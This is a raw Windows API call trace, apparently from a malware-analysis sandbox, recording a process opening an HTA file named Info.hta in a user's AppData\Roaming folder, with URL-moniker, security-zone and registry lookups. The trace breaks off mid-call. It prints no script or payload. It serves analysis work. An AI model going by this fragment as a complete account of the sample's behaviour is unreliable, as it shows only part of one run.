IUnknown:QueryInterface (in: This=0x8005f0, riid=0x734872f4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x30f7b0 | out: ppvObject=0x30f7b0*=0x8005fc) returned 0x0 [0067.075] IUriContainer:GetIUri (in: This=0x8005fc, ppIUri=0x30f7e0 | out: ppIUri=0x30f7e0*=0x81c134) returned 0x0 [0067.075] IUnknown:Release (This=0x8005fc) returned 0x1 [0067.075] IUnknown:AddRef (This=0x8005f0) returned 0x2 [0067.075] IUnknown:AddRef (This=0x81c134) returned 0x5 [0067.075] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0067.075] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0067.075] IMoniker:GetDisplayName (in: This=0x8005f0, pbc=0x0, pmkToLeft=0x0, ppszDisplayName=0x30f6b8 | out: ppszDisplayName=0x30f6b8*="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta") returned 0x0 [0067.075] UrlGetLocationW (psz1="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta") returned 0x0 [0067.075] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", ppmk=0x30f684*=0x0, dwFlags=0x1 | out: ppmk=0x30f684*=0x82f490) returned 0x0 [0067.075] CreateUri (in: pwzURI="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x30f67c | out: ppURI=0x30f67c*=0x81c494) returned 0x0 [0067.075] IUri:GetScheme (in: This=0x81c494, pdwScheme=0x30f614 | out: pdwScheme=0x30f614*=0x9) returned 0x0 [0067.075] CoInternetIsFeatureEnabled (FeatureEntry=0x1, dwFlags=0x2) returned 0x1 [0067.076] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0067.076] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x1c) returned 0x821ba0 [0067.076] IUnknown:AddRef (This=0x81c494) returned 0x5 [0067.076] IUri:GetAbsoluteUri (in: This=0x81c494, pbstrAbsoluteUri=0x821ba0 | out: pbstrAbsoluteUri=0x821ba0*="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta") returned 0x0 [0067.076] IUnknown:Release (This=0x81c494) returned 0x4 [0067.076] IUnknown:AddRef (This=0x82f490) returned 0x2 [0067.076] IUnknown:Release (This=0x82f490) returned 0x1 [0067.076] IUnknown:AddRef (This=0x8005f0) returned 0x3 [0067.076] IUnknown:Release (This=0x82f490) returned 0x0 [0067.076] IUnknown:AddRef (This=0x8005f0) returned 0x4 [0067.076] IUnknown:QueryInterface (in: This=0x81c134, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f484 | out: ppvObject=0x30f484*=0x81c134) returned 0x0 [0067.076] IUnknown:Release (This=0x81c134) returned 0x5 [0067.076] IUnknown:AddRef (This=0x81c134) returned 0x6 [0067.076] IUnknown:QueryInterface (in: This=0x8005f0, riid=0x734872f4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x30f458 | out: ppvObject=0x30f458*=0x8005fc) returned 0x0 [0067.077] IUriContainer:GetIUri (in: This=0x8005fc, ppIUri=0x30f4ac | out: ppIUri=0x30f4ac*=0x81c134) returned 0x0 [0067.077] IUnknown:Release (This=0x8005fc) returned 0x4 [0067.077] IUnknown:AddRef (This=0x8005f0) returned 0x5 [0067.077] IUnknown:Release (This=0x8005f0) returned 0x4 [0067.077] IUnknown:AddRef (This=0x81c134) returned 0x8 [0067.077] IUnknown:QueryInterface (in: This=0x81c134, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f484 | out: ppvObject=0x30f484*=0x81c134) returned 0x0 [0067.077] IUnknown:Release (This=0x81c134) returned 0x8 [0067.077] IUnknown:AddRef (This=0x81c134) returned 0x9 [0067.077] IUri:GetScheme (in: This=0x81c134, pdwScheme=0x30f47c | out: pdwScheme=0x30f47c*=0x9) returned 0x0 [0067.077] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xc8) returned 0x8309f8 [0067.077] GetCurrentProcessId () returned 0xcd4 [0067.077] IUnknown:QueryInterface (in: This=0x81c134, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f484 | out: ppvObject=0x30f484*=0x81c134) returned 0x0 [0067.077] IUnknown:Release (This=0x81c134) returned 0x9 [0067.077] IUnknown:AddRef (This=0x81c134) returned 0xa [0067.077] IUri:GetScheme (in: This=0x81c134, pdwScheme=0x30f454 | out: pdwScheme=0x30f454*=0x9) returned 0x0 [0067.077] IUnknown:QueryInterface (in: This=0x81c134, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f408 | out: ppvObject=0x30f408*=0x81c134) returned 0x0 [0067.077] IUnknown:Release (This=0x81c134) returned 0xa [0067.077] IUnknown:AddRef (This=0x81c134) returned 0xb [0067.077] IUnknown:Release (This=0x81c134) returned 0xa [0067.077] IUri:GetAbsoluteUri (in: This=0x81c134, pbstrAbsoluteUri=0x30f484 | out: pbstrAbsoluteUri=0x30f484*="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta") returned 0x0 [0067.077] GetProcAddress (hModule=0x769d0000, lpProcName=0x7) returned 0x769d4680 [0067.077] SysStringLen (param_1="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta") returned 0x40 [0067.077] CreateUri (in: pwzURI="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x30f4a0 | out: ppURI=0x30f4a0*=0x81c644) returned 0x0 [0067.078] IUnknown:Release (This=0x81c134) returned 0x9 [0067.078] IUri:GetScheme (in: This=0x81c644, pdwScheme=0x30f434 | out: pdwScheme=0x30f434*=0x9) returned 0x0 [0067.078] IUri:IsEqual (in: This=0x81c494, pUri=0x81c644, pfEqual=0x30f47c | out: pfEqual=0x30f47c*=1) returned 0x0 [0067.078] IUnknown:AddRef (This=0x81c494) returned 0x3 [0067.078] IUri:GetPropertyDWORD (in: This=0x81c494, uriProp=0x11, pdwProperty=0x30f214, dwFlags=0x0 | out: pdwProperty=0x30f214*=0x9) returned 0x0 [0067.078] IUnknown:Release (This=0x81c494) returned 0x2 [0067.138] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x86) returned 0x830d10 [0067.138] IInternetSecurityManager:GetSecurityId (in: This=0x823ff8, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", pbSecurityId=0x30f278, pcbSecurityId=0x30f274*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30f278*=0x66, pcbSecurityId=0x30f274*=0x9) returned 0x0 [0067.138] IInternetSecurityManager:GetSecurityId (in: This=0x738896bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", pbSecurityId=0x30f278, pcbSecurityId=0x30f274*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30f278*=0x0, pcbSecurityId=0x30f274*=0x200) returned 0x800c0011 [0067.288] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x830d10 | out: hHeap=0x7f0000) returned 1 [0067.288] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b570 | out: hHeap=0x7f0000) returned 1 [0067.288] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x9) returned 0x81b570 [0067.288] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b5e8 | out: hHeap=0x7f0000) returned 1 [0067.288] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x9) returned 0x81b5e8 [0067.288] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", ppu=0x30f430 | out: ppu=0x30f430) returned 0x0 [0067.288] GetDC (hWnd=0x0) returned 0x4010b8e [0067.307] CreateCompatibleBitmap (hdc=0x4010b8e, cx=1, cy=1) returned 0x3050ae7 [0067.307] GetDIBits (in: hdc=0x4010b8e, hbm=0x3050ae7, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x30f000, usage=0x0 | out: lpvBits=0x0, lpbmi=0x30f000) returned 1 [0067.307] GetDIBits (in: hdc=0x4010b8e, hbm=0x3050ae7, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x30f000, usage=0x0 | out: lpvBits=0x0, lpbmi=0x30f000) returned 1 [0067.307] DeleteObject (ho=0x3050ae7) returned 1 [0067.307] GetSysColor (nIndex=0) returned 0xc8c8c8 [0067.307] GetSysColor (nIndex=1) returned 0x0 [0067.307] GetSysColor (nIndex=2) returned 0xd1b499 [0067.307] GetSysColor (nIndex=3) returned 0xdbcdbf [0067.307] GetSysColor (nIndex=4) returned 0xf0f0f0 [0067.307] GetSysColor (nIndex=5) returned 0xffffff [0067.307] GetSysColor (nIndex=6) returned 0x646464 [0067.307] GetSysColor (nIndex=7) returned 0x0 [0067.307] GetSysColor (nIndex=8) returned 0x0 [0067.307] GetSysColor (nIndex=9) returned 0x0 [0067.307] GetSysColor (nIndex=10) returned 0xb4b4b4 [0067.307] GetSysColor (nIndex=11) returned 0xfcf7f4 [0067.307] GetSysColor (nIndex=12) returned 0xababab [0067.307] GetSysColor (nIndex=13) returned 0xff9933 [0067.307] GetSysColor (nIndex=14) returned 0xffffff [0067.307] GetSysColor (nIndex=15) returned 0xf0f0f0 [0067.308] GetSysColor (nIndex=16) returned 0xa0a0a0 [0067.308] GetSysColor (nIndex=17) returned 0x6d6d6d [0067.308] GetSysColor (nIndex=18) returned 0x0 [0067.308] GetSysColor (nIndex=19) returned 0x544e43 [0067.308] GetSysColor (nIndex=20) returned 0xffffff [0067.308] GetSysColor (nIndex=21) returned 0x696969 [0067.308] GetSysColor (nIndex=22) returned 0xe3e3e3 [0067.308] GetSysColor (nIndex=23) returned 0x0 [0067.308] GetSysColor (nIndex=24) returned 0xe1ffff [0067.308] GetSysColor (nIndex=25) returned 0x0 [0067.308] GetSysColor (nIndex=26) returned 0xcc6600 [0067.308] GetSysColor (nIndex=27) returned 0xead1b9 [0067.308] GetSysColor (nIndex=28) returned 0xf2e4d7 [0067.308] GetSysColor (nIndex=29) returned 0xff9933 [0067.308] GetSysColor (nIndex=30) returned 0xf0f0f0 [0067.308] GetSysColor (nIndex=31) returned 0x0 [0067.308] GetSysColor (nIndex=32) returned 0x0 [0067.308] GetSysColor (nIndex=33) returned 0x0 [0067.308] GetSysColor (nIndex=34) returned 0x0 [0067.308] GetSysColor (nIndex=35) returned 0x0 [0067.308] GetSysColor (nIndex=36) returned 0x0 [0067.308] GetSysColor (nIndex=37) returned 0x0 [0067.308] GetSysColor (nIndex=38) returned 0x0 [0067.308] GetSysColor (nIndex=39) returned 0x0 [0067.308] GetSysColor (nIndex=40) returned 0x0 [0067.308] GetSysColor (nIndex=41) returned 0x0 [0067.308] GetSysColor (nIndex=42) returned 0x0 [0067.308] GetSysColor (nIndex=43) returned 0x0 [0067.308] GetSysColor (nIndex=44) returned 0x0 [0067.308] GetSysColor (nIndex=45) returned 0x0 [0067.308] GetSysColor (nIndex=46) returned 0x0 [0067.308] GetSysColor (nIndex=47) returned 0x0 [0067.308] GetSysColor (nIndex=48) returned 0x0 [0067.308] GetSysColor (nIndex=49) returned 0x0 [0067.308] GetSysColor (nIndex=50) returned 0x0 [0067.308] GetSysColor (nIndex=51) returned 0x0 [0067.308] GetSysColor (nIndex=52) returned 0x0 [0067.308] GetSysColor (nIndex=53) returned 0x0 [0067.308] GetSysColor (nIndex=54) returned 0x0 [0067.308] GetSysColor (nIndex=55) returned 0x0 [0067.308] GetSysColor (nIndex=56) returned 0x0 [0067.308] GetSysColor (nIndex=57) returned 0x0 [0067.308] GetSysColor (nIndex=58) returned 0x0 [0067.308] GetSysColor (nIndex=59) returned 0x0 [0067.309] GetSysColor (nIndex=60) returned 0x0 [0067.309] GetSysColor (nIndex=61) returned 0x0 [0067.309] GetSysColor (nIndex=62) returned 0x0 [0067.309] GetSysColor (nIndex=63) returned 0x0 [0067.309] GetDeviceCaps (hdc=0x4010b8e, index=38) returned 32409 [0067.309] ReleaseDC (hWnd=0x0, hDC=0x4010b8e) returned 1 [0067.315] GetCurrentThreadId () returned 0xcd8 [0067.315] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x82ba38 [0067.316] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x50) returned 0x82e540 [0067.517] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x80d830 [0067.517] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x28) returned 0x8319f8 [0067.517] GetProcAddress (hModule=0x769d0000, lpProcName=0x8) returned 0x769d3ed5 [0067.517] GetCurrentThreadId () returned 0xcd8 [0067.517] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80d830 | out: hHeap=0x7f0000) returned 1 [0067.517] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x86) returned 0x832168 [0067.517] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", ppu=0x30f420 | out: ppu=0x30f420) returned 0x0 [0067.517] CreateUri (in: pwzURI="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x30f404 | out: ppURI=0x30f404*=0x81c494) returned 0x0 [0067.518] IUnknown:AddRef (This=0x81c494) returned 0x5 [0067.518] IInternetSecurityManager:MapUrlToZone (in: This=0x738896bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", pdwZone=0x30f3a4, dwFlags=0x0 | out: pdwZone=0x30f3a4*=0xffffffff) returned 0x800c0011 [0067.518] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0067.518] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0067.518] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0067.518] IInternetSecurityManager:ProcessUrlAction (in: This=0x738896bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", dwAction=0x2700, pPolicy=0x30f3a8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x30f3a8*=0x0) returned 0x0 [0067.518] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0067.518] IUnknown:Release (This=0x81c494) returned 0x4 [0067.518] IUnknown:Release (This=0x81c494) returned 0x3 [0067.518] IUnknown:AddRef (This=0x81c494) returned 0x4 [0067.519] IUri:GetPropertyDWORD (in: This=0x81c494, uriProp=0x11, pdwProperty=0x30f1dc, dwFlags=0x0 | out: pdwProperty=0x30f1dc*=0x9) returned 0x0 [0067.519] IUnknown:Release (This=0x81c494) returned 0x3 [0067.519] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x86) returned 0x8321f8 [0067.519] IInternetSecurityManager:GetSecurityId (in: This=0x823ff8, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", pbSecurityId=0x30f238, pcbSecurityId=0x30f234*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30f238*=0x66, pcbSecurityId=0x30f234*=0x9) returned 0x0 [0067.519] IInternetSecurityManager:GetSecurityId (in: This=0x738896bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", pbSecurityId=0x30f238, pcbSecurityId=0x30f234*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30f238*=0x0, pcbSecurityId=0x30f234*=0x200) returned 0x800c0011 [0067.519] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8321f8 | out: hHeap=0x7f0000) returned 1 [0067.519] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0067.519] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x9) returned 0x82ba50 [0067.519] CoInternetGetSession (in: dwSessionMode=0x0, ppIInternetSession=0x30f45c, dwReserved=0x0 | out: ppIInternetSession=0x30f45c*=0x825878) returned 0x0 [0067.519] IInternetSession:RegisterNameSpace (This=0x825878, pCF=0x73888c50, rclsid=0x73489790, pwzProtocol="res", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0067.519] IUnknown:AddRef (This=0x73888c50) returned 0x1 [0067.520] IInternetSession:RegisterNameSpace (This=0x825878, pCF=0x73888c70, rclsid=0x73489780, pwzProtocol="about", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0067.520] IUnknown:AddRef (This=0x73888c70) returned 0x1 [0067.520] StrCmpICW (pszStr1="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", pszStr2="res://ieframe.dll/PhishSite.htm") returned -12 [0067.520] IUnknown:QueryInterface (in: This=0x81c134, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f3cc | out: ppvObject=0x30f3cc*=0x81c134) returned 0x0 [0067.520] IUnknown:Release (This=0x81c134) returned 0x9 [0067.520] IUnknown:AddRef (This=0x81c134) returned 0xa [0067.520] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x12c) returned 0x8343f0 [0067.520] IUnknown:AddRef (This=0x81c134) returned 0xb [0067.520] IUnknown:QueryInterface (in: This=0x81c134, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f390 | out: ppvObject=0x30f390*=0x81c134) returned 0x0 [0067.520] IUnknown:Release (This=0x81c134) returned 0xb [0067.520] IUnknown:AddRef (This=0x81c134) returned 0xc [0067.520] IUnknown:Release (This=0x81c134) returned 0xb [0067.520] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x3c) returned 0x804238 [0067.520] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xb4) returned 0x834528 [0067.521] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x80d830 [0067.521] IUri:GetScheme (in: This=0x81c134, pdwScheme=0x30f414 | out: pdwScheme=0x30f414*=0x9) returned 0x0 [0067.521] IUri:IsEqual (in: This=0x81c494, pUri=0x81c134, pfEqual=0x30f45c | out: pfEqual=0x30f45c*=1) returned 0x0 [0067.521] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0067.521] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x4c) returned 0x82e598 [0067.521] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x12) returned 0x813740 [0067.521] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x830d10 [0067.521] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x80d868 [0067.521] PostMessageW (hWnd=0x60132, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0067.525] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x12c) returned 0x8345e8 [0067.525] IUnknown:AddRef (This=0x81c134) returned 0xc [0067.525] IUnknown:QueryInterface (in: This=0x81c134, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f3b0 | out: ppvObject=0x30f3b0*=0x81c134) returned 0x0 [0067.525] IUnknown:Release (This=0x81c134) returned 0xc [0067.525] IUnknown:AddRef (This=0x81c134) returned 0xd [0067.525] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x4c) returned 0x82e5f0 [0067.525] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x68) returned 0x834720 [0067.525] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x108) returned 0x834790 [0067.525] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x804818 [0067.526] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xcc) returned 0x81cb48 [0067.526] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x8348b8 [0067.526] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x80d8a0 [0067.526] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x1b0) returned 0x8350a0 [0067.526] IUnknown:QueryInterface (in: This=0x81c134, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f0b4 | out: ppvObject=0x30f0b4*=0x81c134) returned 0x0 [0067.526] IUnknown:Release (This=0x81c134) returned 0xd [0067.526] IUnknown:AddRef (This=0x81c134) returned 0xe [0067.526] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0067.526] IUnknown:AddRef (This=0x81c134) returned 0xf [0067.526] IUnknown:AddRef (This=0x81c134) returned 0x10 [0067.526] IUnknown:QueryInterface (in: This=0x81c134, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f0a8 | out: ppvObject=0x30f0a8*=0x81c134) returned 0x0 [0067.526] IUnknown:Release (This=0x81c134) returned 0x10 [0067.526] IUnknown:AddRef (This=0x81c134) returned 0x11 [0067.526] IUri:GetScheme (in: This=0x81c134, pdwScheme=0x8351a8 | out: pdwScheme=0x8351a8*=0x9) returned 0x0 [0067.526] IMoniker:IsSystemMoniker (in: This=0x8005f0, pdwMksys=0x30f110 | out: pdwMksys=0x30f110*=0x6) returned 0x0 [0067.526] CoInternetParseIUri (in: pIUri=0x81c134, ParseAction=0x9, dwFlags=0x0, pwzResult=0x30f120, cchResult=0x104, pcchResult=0x30f0c4, dwReserved=0x0 | out: pwzResult="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta", pcchResult=0x30f0c4) returned 0x0 [0067.527] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x72) returned 0x801f80 [0067.527] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta", lpFindFileData=0x30ee50 | out: lpFindFileData=0x30ee50*(dwFileAttributes=0x350070, ftCreationTime.dwLowDateTime=0x72004e, ftCreationTime.dwHighDateTime=0x4a0047, ftLastAccessTime.dwLowDateTime=0x30006e, ftLastAccessTime.dwHighDateTime=0x53006a, ftLastWriteTime.dwLowDateTime=0x480020, ftLastWriteTime.dwHighDateTime=0x4c0041, nFileSizeHigh=0x6d0050, nFileSizeLow=0x780063, dwReserved0=0x5c007a, dwReserved1=0x700041, cFileName="pData\\Roaming\\Info.hta", cAlternateFileName="06")) returned 0xffffffff [0067.527] IUnknown:QueryInterface (in: This=0x81c134, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f0b4 | out: ppvObject=0x30f0b4*=0x81c134) returned 0x0 [0067.527] IUnknown:Release (This=0x81c134) returned 0x11 [0067.527] IUnknown:AddRef (This=0x81c134) returned 0x12 [0067.950] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x10) returned 0x8348d0 [0067.950] IInternetSession:CreateBinding (in: This=0x825878, pbc=0x0, szUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Info.hta", pUnkOuter=0x0, ppunk=0x0, ppOInetProt=0x8348d8, dwOption=0x0 | out: ppunk=0x0, ppOInetProt=0x8348d8*=0x835718) returned 0x0 [0067.951] IUnknown:QueryInterface (in: This=0x835718, riid=0x734a6078*(Data1=0x53c84785, Data2=0x8425, Data3=0x4dc5, Data4=([0]=0x97, [1]=0x1b, [2]=0xe5, [3]=0x8d, [4]=0x9c, [5]=0x19, [6]=0xf9, [7]=0xb6)), ppvObject=0x30f038 | out: ppvObject=0x30f038*=0x0) returned 0x80004002 [0067.951] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30efd4 | out: phkResult=0x30efd4*=0x1e4) returned 0x0 [0067.951] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30efd8 | out: phkResult=0x30efd8*=0x1dc) returned 0x0 [0067.951] RegOpenKeyExW (in: hKey=0x1dc, lpSubKey="FEATURE_XSSFILTER", ulOptions=0x0, samDesired=0x1, phkResult=0x30ef94 | out: phkResult=0x30ef94*=0x0) returned 0x2 [0067.952] RegOpenKeyExW (in: hKey=0x1e4, lpSubKey="FEATURE_XSSFILTER", ulOptions=0x0, samDesired=0x1, phkResult=0x30ef94 | out: phkResult=0x30ef94*=0x1e8) returned 0x0 [0067.952] SHRegGetValueW () returned 0x2 [0067.952] SHRegGetValueW () returned 0x2 [0067.952] RegCloseKey (hKey=0x1e8) returned 0x0 [0067.952] RegCloseKey (hKey=0x0) returned 0x6 [0067.952] RegCloseKey (hKey=0x0) returned 0x6 [0067.952] RegCloseKey (hKey=0x1e4) returned 0x0 [0067.952] RegCloseKey (hKey=0x1dc) returned 0x0 [0067.952] IUnknown:AddRef (This=0x835718) returned 0x2 [0067.952] IUnknown:QueryInterface (in: This=0x835718, riid=0x734a6158*(Data1=0xc7a98e66, Data2=0x1010, Data3=0x492c, Data4=([0]=0xa1, [1]=0xc8, [2]=0xc8, [3]=0x9, [4]=0xe1, [5]=0xf7, [6]=0x59, [7]=0x5)), ppvObject=0x30f07c | out: ppvObject=0x30f07c*=0x835718) returned 0x0 [0067.952] IInternetProtocolEx:StartEx (This=0x835718, pUri=0x81c134, pOIProtSink=0x8350f4, pOIBindInfo=0x8350bc, grfPI=0x10, dwReserved=0x0) returned 0x800c0005 [0067.952] IUnknown:AddRef (This=0x8350f4) returned 0x3 [0067.952] IUnknown:AddRef (This=0x8350bc) returned 0x4 [0067.952] IUnknown:QueryInterface (in: This=0x8350bc, riid=0x75066f40*(Data1=0xa3e015b7, Data2=0xa82c, Data3=0x4dcd, Data4=([0]=0xa1, [1]=0x50, [2]=0x56, [3]=0x9a, [4]=0xee, [5]=0xed, [6]=0x36, [7]=0xab)), ppvObject=0x30f024 | out: ppvObject=0x30f024*=0x0) returned 0x80004002 [0067.952] IInternetBindInfo:GetBindInfo (in: This=0x8350bc, grfBINDF=0x835888, pbindinfo=0x835890 | out: grfBINDF=0x835888*=0x20083, pbindinfo=0x835890) returned 0x0 [0067.952] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30ef80 | out: phkResult=0x30ef80*=0x1dc) returned 0x0 [0067.953] RegOpenKeyExW (in: 